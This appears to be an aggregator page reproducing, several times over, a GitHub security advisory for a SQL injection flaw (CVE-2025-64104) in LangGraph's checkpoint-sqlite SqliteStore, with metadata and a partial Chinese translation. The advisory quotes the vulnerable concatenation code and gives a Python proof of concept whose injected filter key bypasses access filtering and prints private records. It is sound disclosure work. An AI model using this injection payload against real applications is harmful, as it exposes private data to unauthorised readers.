        "ecosystem": "pip",
        "name": "langgraph-checkpoint-sqlite"
      },
      "vulnerable_version_range": "<= 2.0.10",
      "first_patched_version": "2.0.11",
      "vulnerable_functions": []
    }
  ],
  "cvss_severities": {
    "cvss_v3": {
      "vector_string": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N",
      "score": 7.3
    },
    "cvss_v4": {
      "vector_string": null,
      "score": 0.0
    }
  },
  "cwes": [
    {
      "cwe_id": "CWE-89",
      "name": "Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')"
    }
  ],
  "credits": [
    {
      "user": {
        "login": "ColeMurray",
        "id": 2492022,
        "node_id": "MDQ6VXNlcjI0OTIwMjI=",
        "avatar_url": "https://avatars.githubusercontent.com/u/2492022?v=4",
        "gravatar_id": "",
        "url": "https://api.github.com/users/ColeMurray",
        "html_url": "https://github.com/ColeMurray",
        "followers_url": "https://api.github.com/users/ColeMurray/followers",
        "following_url": "https://api.github.com/users/ColeMurray/following{/other_user}",
        "gists_url": "https://api.github.com/users/ColeMurray/gists{/gist_id}",
        "starred_url": "https://api.github.com/users/ColeMurray/starred{/owner}{/repo}",
        "subscriptions_url": "https://api.github.com/users/ColeMurray/subscriptions",
        "organizations_url": "https://api.github.com/users/ColeMurray/orgs",
        "repos_url": "https://api.github.com/users/ColeMurray/repos",
        "events_url": "https://api.github.com/users/ColeMurray/events{/privacy}",
        "received_events_url": "https://api.github.com/users/ColeMurray/received_events",
        "type": "User",
        "user_view_type": "public",
        "site_admin": false
      },
      "type": "reporter"
    }
  ],
  "comments": 2,
  "cvss": {
    "vector_string": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N",
    "score": 7.3
  },
  "epss": {
    "percentage": 0.00241,
    "percentile": 0.15135
  }
}
采集信息与校验
完整来源元数据
{
  "content_level": "structured_advisory",
  "source_updated_at": "2026-10-28T21:08:45+00:00"
}
{
  "format": "github_advisory",
  "raw_record": {
    "comments": 2,
    "credits": [
      {
        "type": "reporter",
        "user": {
          "avatar_url": "https://avatars.githubusercontent.com/u/2492022?v=4",
          "events_url": "https://api.github.com/users/ColeMurray/events{/privacy}",
          "followers_url": "https://api.github.com/users/ColeMurray/followers",
          "following_url": "https://api.github.com/users/ColeMurray/following{/other_user}",
          "gists_url": "https://api.github.com/users/ColeMurray/gists{/gist_id}",
          "gravatar_id": "",
          "html_url": "https://github.com/ColeMurray",
          "id": 2492022,
          "login": "ColeMurray",
          "node_id": "MDQ6VXNlcjI0OTIwMjI=",
          "organizations_url": "https://api.github.com/users/ColeMurray/orgs",
          "received_events_url": "https://api.github.com/users/ColeMurray/received_events",
          "repos_url": "https://api.github.com/users/ColeMurray/repos",
          "site_admin": false,
          "starred_url": "https://api.github.com/users/ColeMurray/starred{/owner}{/repo}",
          "subscriptions_url": "https://api.github.com/users/ColeMurray/subscriptions",
          "type": "User",
          "url": "https://api.github.com/users/ColeMurray",
          "user_view_type": "public"
        }
      }
    ],
    "cve_id": "CVE-2025-64104",
    "cvss": {
      "score": 7.3,
      "vector_string": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N"
    },
    "cvss_severities": {
      "cvss_v3": {
        "score": 7.3,
        "vector_string": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N"
      },
      "cvss_v4": {
        "score": 0.0,
        "vector_string": null
      }
    },
    "cwes": [
      {
        "cwe_id": "CWE-89",
        "name": "Improper Neutralization of Special Elements used in an SQL Command (\u0027SQL Injection\u0027)"
      }
    ],
    "description": "### Summary\nLangGraph\u0027s SQLite store implementation contains SQL injection vulnerabilities using direct string concatenation without proper parameterization, allowing attackers to inject arbitrary SQL and bypass access controls.\n\n### Details\n[`/langgraph/libs/checkpoint-sqlite/langgraph/store/sqlite/base.py`](https://github.com/langchain-ai/langgraph/blob/ee5d052a07aadd76dae123a27009ea0a3694fa0a/libs/checkpoint-sqlite/langgraph/store/sqlite/base.py#L407)\n\nThe key portion of the JSON path is concatenated directly into the SQL string without sanitation. There\u0027s a few different occurrences within the file.\n\n```python\n  filter_conditions.append(\n      \"json_extract(value, \u0027$.\"\n      + key  # \u003c-- Directly concatenated, no escaping!\n      + \"\u0027) = \u0027\"\n      + value.replace(\"\u0027\", \"\u0027\u0027\")  # \u003c-- Only value is escaped\n      + \"\u0027\"\n  )\n```\n\n### Who is affected\n\nThis issue affects **only developers or projects that directly use the `checkpoint-sqlite` store**. \n\nAn application is vulnerable only if it:\n1. Instantiates the `SqliteStore` from the `checkpoint-sqlite` package, **and**\n2. Builds the `filter` argument using keys derived from **untrusted or user-supplied input** (such as query parameters, request bodies, or other external data).\n\nIf filter keys are static or validated/allowlisted before being passed to the store, the risk does not apply.\n\nNote: users of LangSmith deployments (previously known as LangGraph Platform) are not affected as those deployments rely on a different checkpointer implementation.\n\n### PoC\n_Complete instructions, including specific configuration details, to reproduce the vulnerability._\n\n```python\n#!/usr/bin/env python3\n\"\"\"Minimal SQLite Key Injection POC for LangGraph\"\"\"\n\nfrom langgraph.store.sqlite import SqliteStore\n\n# Create store with test data\nwith SqliteStore.from_conn_string(\":memory:\") as store:\n    store.setup()\n    \n    # Add public and private documents\n    store.put((\"docs\",), \"public\", {\"access\": \"public\", \"data\": \"public info\"})\n    store.put((\"docs\",), \"private\", {\"access\": \"private\", \"data\": \"secret\", \"password\": \"123\"})\n    \n    # Normal query - returns 1 public document\n    normal = store.search((\"docs\",), filter={\"access\": \"public\"})\n    print(f\"Normal query: {len(normal)} docs\")\n    \n    # SQL injection via malicious key\n    malicious_key = \"access\u0027) = \u0027public\u0027 OR \u00271\u0027=\u00271\u0027 OR json_extract(value, \u0027$.\"\n    injected = store.search((\"docs\",), filter={malicious_key: \"dummy\"})\n    \n    print(f\"Injected query: {len(injected)} docs\")\n    for doc in injected:\n        if doc.value.get(\"access\") == \"private\":\n            print(f\"LEAKED: {doc.value}\")\n```",
    "epss": {
      "percentage": 0.00241,
      "percentile": 0.15135
    },
    "ghsa_id": "GHSA-7p73-8jqx-23r8",
    "github_reviewed_at": "2025-10-29T22:21:43Z",
    "html_url": "https://github.com/advisories/GHSA-7p73-8jqx-23r8",
    "identifiers": [
      {
        "type": "GHSA",
        "value": "GHSA-7p73-8jqx-23r8"
      },
      {
        "type": "CVE",
        "value": "CVE-2025-64104"
      }
    ],
    "nvd_published_at": "2025-10-29T19:15:39Z",
    "published_at": "2025-10-29T22:21:43Z",
    "references": [
      "https://github.com/langchain-ai/langgraph/security/advisories/GHSA-7p73-8jqx-23r8",
      "https://nvd.nist.gov/vuln/detail/CVE-2025-64104",
      "https://github.com/langchain-ai/langgraph/commit/bc9d45b476101e441cb1cc602dea03eb29232de4",
      "https://github.com/pypa/advisory-database/tree/main/vulns/langgraph-checkpoint-sqlite/PYSEC-2026-1529.yaml",
      "https://github.com/advisories/GHSA-7p73-8jqx-23r8"
    ],
    "repository_advisory_url": "https://api.github.com/repos/langchain-ai/langgraph/security-advisories/GHSA-7p73-8jqx-23r8",
    "severity": "high",
    "source_code_location": "https://github.com/langchain-ai/langgraph",
    "summary": "LangGraph SQLite Checkpoint Filter Key SQL Injection POC for SqliteStore",
    "type": "reviewed",
    "updated_at": "2026-10-28T21:08:45Z",
    "url": "https://api.github.com/advisories/GHSA-7p73-8jqx-23r8",
    "vulnerabilities": [
      {
        "first_patched_version": "2.0.11",
        "package": {
          "ecosystem": "pip",
          "name": "langgraph-checkpoint-sqlite"
        },
        "vulnerable_functions": [],
        "vulnerable_version_range": "\u003c= 2.0.10"
      }
    ],
    "withdrawn_at": null
  }
}
原文版本历史与校验
版本入库更新时间来源发布日期校验标识
v1 · 正在查看2026-10-31 17:24 UTC2025-10-29 22:21 UTC03bec3a3310280312dce66b94c1733b370ba66e97e6f0fd13c8162e938ffba1c
可引用分片 · 5 段

CHK-d3f846e2fcd4356f01c6bde9

{
  "ghsa_id": "GHSA-7p73-8jqx-23r8",
  "cve_id": "CVE-2025-64104",
  "url": "https://api.github.com/advisories/GHSA-7p73-8jqx-23r8",
  "html_url": "https://github.com/advisories/GHSA-7p73-8jqx-23r8",
  "summary": "LangGraph SQLite Checkpoint Filter Key SQL Injection POC for SqliteStore",
  "description": "### Summary\nLangGraph's SQLite store implementation contains SQL injection vulnerabilities using direct string concatenation without proper parameterization, allowing attackers to inject arbitrary SQL and bypass access controls.\n\n### Details\n[`/langgraph/libs/checkpoint-sqlite/langgraph/store/sqlite/base.py`](https://github.com/langchain-ai/langgraph/blob/ee5d052a07aadd76dae123a27009ea0a3694fa0a/libs/checkpoint-sqlite/langgraph/store/sqlite/base.py#L407)\n\nThe key portion of the JSON path is concatenated directly into the SQL string without sanitation. There's a few different occurrences within the file.\n\n```python\n  filter_conditions.append(\n      \"json_extract(value, '$.\"\n      + key  # <-- Directly concatenated, no escaping!\n      + \"') = '\"\n      + value.replace(\"'\", \"''\")  # <-- Only value is escaped\n      + \"'\"\n  )\n```\n\n### Who is affected\n\nThis issue affects **only developers or projects that directly use the `checkpoint-sqlite` store**. \n\nAn application is vulnerable only if it:\n1.

CHK-54721b443555e5603b129a46

affected\n\nThis issue affects **only developers or projects that directly use the `checkpoint-sqlite` store**. \n\nAn application is vulnerable only if it:\n1. Instantiates the `SqliteStore` from the `checkpoint-sqlite` package, **and**\n2. Builds the `filter` argument using keys derived from **untrusted or user-supplied input** (such as query parameters, request bodies, or other external data).\n\nIf filter keys are static or validated/allowlisted before being passed to the store, the risk does not apply.\n\nNote: users of LangSmith deployments (previously known as LangGraph Platform) are not affected as those deployments rely on a different checkpointer implementation.\n\n### PoC\n_Complete instructions, including specific configuration details, to reproduce the vulnerability._\n\n```python\n#!/usr/bin/env python3\n\"\"\"Minimal SQLite Key Injection POC for LangGraph\"\"\"\n\nfrom langgraph.store.sqlite import SqliteStore\n\n# Create store with test data\nwith SqliteStore.from_conn_string(\":memory:\") as store:\n    store.setup()\n    \n    # Add public and private documents\n    store.put((\"docs\",), \"public\", {\"access\": \"public\", \"data\": \"public info\"})\n    store.put((\"docs\",), \"private\", {\"access\": \"private\", \"data\": \"secret\", \"password\": \"123\"})\n    \n    # Normal query - returns 1 public document\n    normal = store.search((\"docs\",), filt

CHK-d886abee6fe77e3afab7b5cf

": \"private\", \"data\": \"secret\", \"password\": \"123\"})\n    \n    # Normal query - returns 1 public document\n    normal = store.search((\"docs\",), filter={\"access\": \"public\"})\n    print(f\"Normal query: {len(normal)} docs\")\n    \n    # SQL injection via malicious key\n    malicious_key = \"access') = 'public' OR '1'='1' OR json_extract(value, '$.\"\n    injected = store.search((\"docs\",), filter={malicious_key: \"dummy\"})\n    \n    print(f\"Injected query: {len(injected)} docs\")\n    for doc in injected:\n        if doc.value.get(\"access\") == \"private\":\n            print(f\"LEAKED: {doc.value}\")\n```",
  "type": "reviewed",
  "severity": "high",
  "repository_advisory_url": "https://api.github.com/repos/langchain-ai/langgraph/security-advisories/GHSA-7p73-8jqx-23r8",
  "source_code_location": "https://github.com/langchain-ai/langgraph",
  "identifiers": [
    {
      "value": "GHSA-7p73-8jqx-23r8",
      "type": "GHSA"
    },
    {
      "value": "CVE-2025-64104",
      "type": "CVE"
    }
  ],
  "references": [
    "https://github.com/langchain-ai/langgraph/security/advisories/GHSA-7p73-8jqx-23r8",
    "https://nvd.nist.gov/vuln/detail/CVE-2025-64104",
    "https://github.com/langchain-ai/langgraph/commit/bc9d45b476101e441cb1cc602dea03eb29232de4",

CHK-ca54bf42dde3de836b685f32

-23r8",
    "https://nvd.nist.gov/vuln/detail/CVE-2025-64104",
    "https://github.com/langchain-ai/langgraph/commit/bc9d45b476101e441cb1cc602dea03eb29232de4",
    "https://github.com/pypa/advisory-database/tree/main/vulns/langgraph-checkpoint-sqlite/PYSEC-2026-1529.yaml",
    "https://github.com/advisories/GHSA-7p73-8jqx-23r8"
  ],
  "published_at": "2025-10-29T22:21:43Z",
  "updated_at": "2026-10-28T21:08:45Z",
  "github_reviewed_at": "2025-10-29T22:21:43Z",
  "nvd_published_at": "2025-10-29T19:15:39Z",
  "withdrawn_at": null,
  "vulnerabilities": [
    {
      "package": {
        "ecosystem": "pip",
        "name": "langgraph-checkpoint-sqlite"
      },
      "vulnerable_version_range": "<= 2.0.10",
      "first_patched_version": "2.0.11",
      "vulnerable_functions": []
    }
  ],
  "cvss_severities": {
    "cvss_v3": {
      "vector_string": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N",
      "score": 7.3
    },
    "cvss_v4": {
      "vector_string": null,
      "score": 0.0
    }
  },
  "cwes": [
    {
      "cwe_id": "CWE-89",
      "name": "Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')"
    }
  ],
  "credits": [
    {
      "user": {
        "login": "ColeMurray",
        "id": 2492022,
        "node_id": "MDQ6VXNlcjI0OTIwMjI=",
        "avatar_url": "https://avatars.githubusercontent.com/u/2492022?v=4",

CHK-f4ef938438a14a4795bfc5b0

": "ColeMurray",
        "id": 2492022,
        "node_id": "MDQ6VXNlcjI0OTIwMjI=",
        "avatar_url": "https://avatars.githubusercontent.com/u/2492022?v=4",
        "gravatar_id": "",
        "url": "https://api.github.com/users/ColeMurray",
        "html_url": "https://github.com/ColeMurray",
        "followers_url": "https://api.github.com/users/ColeMurray/followers",
        "following_url": "https://api.github.com/users/ColeMurray/following{/other_user}",
        "gists_url": "https://api.github.com/users/ColeMurray/gists{/gist_id}",
        "starred_url": "https://api.github.com/users/ColeMurray/starred{/owner}{/repo}",
        "subscriptions_url": "https://api.github.com/users/ColeMurray/subscriptions",
        "organizations_url": "https://api.github.com/users/ColeMurray/orgs",
        "repos_url": "https://api.github.com/users/ColeMurray/repos",
        "events_url": "https://api.github.com/users/ColeMurray/events{/privacy}",
        "received_events_url": "https://api.github.com/users/ColeMurray/received_events",
        "type": "User",
        "user_view_type": "public",
        "site_admin": false
      },
      "type": "reporter"
    }
  ],
  "comments": 2,
  "cvss": {
    "vector_string": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N",
    "score": 7.3
  },
  "epss": {
    "percentage": 0.00241,
    "percentile": 0.15135
  }
}
补充资料

中文译文

正文译文暂缺,以下为已译原文片段。

已译原文片段

引文译文 · 原文位置 275–875

SqliteStore", "description": "### 摘要\nLangGraph 的 SQLite 存储实现存在 SQL 注入漏洞:它直接拼接字符串,未进行适当的参数化,可能使攻击者注入任意 SQL 并绕过访问控制。\n\n### 详情\n[`/langgraph/libs/checkpoint-sqlite/langgraph/store/sqlite/base.py`]([源链接])\n\nJSON 路径的键部分未经清理,直接拼接到 SQL 字符串中。原文至此截断。

SqliteStore", "description": "### Summary\nLangGraph's SQLite store implementation contains SQL injection vulnerabilities using direct string concatenation without proper parameterization, allowing attackers to inject arbitrary SQL and bypass access controls.\n\n### Details\n[`/langgraph/libs/checkpoint-sqlite/langgraph/store/sqlite/base.py`](https://github.com/langchain-ai/langgraph/blob/ee5d052a07aadd76dae123a27009ea0a3694fa0a/libs/checkpoint-sqlite/langgraph/store/sqlite/base.py#L407)\n\nThe key portion of the JSON path is concatenated directly into the SQL string without sanitation. The

引文译文 · 原文位置 5881–6141

"site_admin": false }, "type": "报告者" } ], "comments": 2, "cvss": { "vector_string": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N", "score": 7.3 }, "epss": { "percentage": 0.00241, "percentile": 0.15135 } }

"site_admin": false }, "type": "reporter" } ], "comments": 2, "cvss": { "vector_string": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N", "score": 7.3 }, "epss": { "percentage": 0.00241, "percentile": 0.15135 } }

已采集原文

访问来源网页
ghsa_id

GHSA-7p73-8jqx-23r8

cve_id

CVE-2025-64104

网址

https://api.github.com/advisories/GHSA-7p73-8jqx-23r8

html_url

https://github.com/advisories/GHSA-7p73-8jqx-23r8

摘要

LangGraph SQLite Checkpoint Filter Key SQL Injection POC for SqliteStore

描述

概述 · Summary

LangGraph's SQLite store implementation contains SQL injection vulnerabilities using direct string concatenation without proper parameterization, allowing attackers to inject arbitrary SQL and bypass access controls.

技术说明 · Details

/langgraph/libs/checkpoint-sqlite/langgraph/store/sqlite/base.py

The key portion of the JSON path is concatenated directly into the SQL string without sanitation. There's a few different occurrences within the file.

python
  filter_conditions.append(
      "json_extract(value, '$."
      + key  # <-- Directly concatenated, no escaping!
      + "') = '"
      + value.replace("'", "''")  # <-- Only value is escaped
      + "'"
  )

Who is affected

This issue affects only developers or projects that directly use the checkpoint-sqlite store.

An application is vulnerable only if it:

  1. Instantiates the SqliteStore from the checkpoint-sqlite package, and
  2. Builds the filter argument using keys derived from untrusted or user-supplied input (such as query parameters, request bodies, or other external data).

If filter keys are static or validated/allowlisted before being passed to the store, the risk does not apply.

Note: users of LangSmith deployments (previously known as LangGraph Platform) are not affected as those deployments rely on a different checkpointer implementation.

PoC

_Complete instructions, including specific configuration details, to reproduce the vulnerability._

python
#!/usr/bin/env python3
"""Minimal SQLite Key Injection POC for LangGraph"""

from langgraph.store.sqlite import SqliteStore

# Create store with test data
with SqliteStore.from_conn_string(":memory:") as store:
    store.setup()
    
    # Add public and private documents
    store.put(("docs",), "public", {"access": "public", "data": "public info"})
    store.put(("docs",), "private", {"access": "private", "data": "secret", "password": "123"})
    
    # Normal query - returns 1 public document
    normal = store.search(("docs",), filter={"access": "public"})
    print(f"Normal query: {len(normal)} docs")
    
    # SQL injection via malicious key
    malicious_key = "access') = 'public' OR '1'='1' OR json_extract(value, '$."
    injected = store.search(("docs",), filter={malicious_key: "dummy"})
    
    print(f"Injected query: {len(injected)} docs")
    for doc in injected:
        if doc.value.get("access") == "private":
            print(f"LEAKED: {doc.value}")
type

reviewed

severity

high

repository_advisory_url

https://api.github.com/repos/langchain-ai/langgraph/security-advisories/GHSA-7p73-8jqx-23r8

source_code_location

https://github.com/langchain-ai/langgraph

identifiers
  • value

    GHSA-7p73-8jqx-23r8

    type

    GHSA

  • value

    CVE-2025-64104

    type

    CVE

参考资料
发布日期

2025-10-29T22:21:43Z

updated_at

2026-10-28T21:08:45Z

github_reviewed_at

2025-10-29T22:21:43Z

nvd_published_at

2025-10-29T19:15:39Z

withdrawn_at
来源未提供
vulnerabilities
  • 软件包
    包生态

    pip

    名称

    langgraph-checkpoint-sqlite

    vulnerable_version_range

    <= 2.0.10

    first_patched_version

    2.0.11

    vulnerable_functions
    cvss_severities
    cvss_v3
    vector_string

    CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N

    评分
    7.3
    cvss_v4
    vector_string
    来源未提供
    评分
    0.0
    cwes
    • cwe_id

      CWE-89

      名称

      Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')

    credits
    comments
    2
    来源风险评分
    vector_string

    CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N

    评分
    7.3
    epss
    percentage
    0.00241
    percentile
    0.15135

    原文依据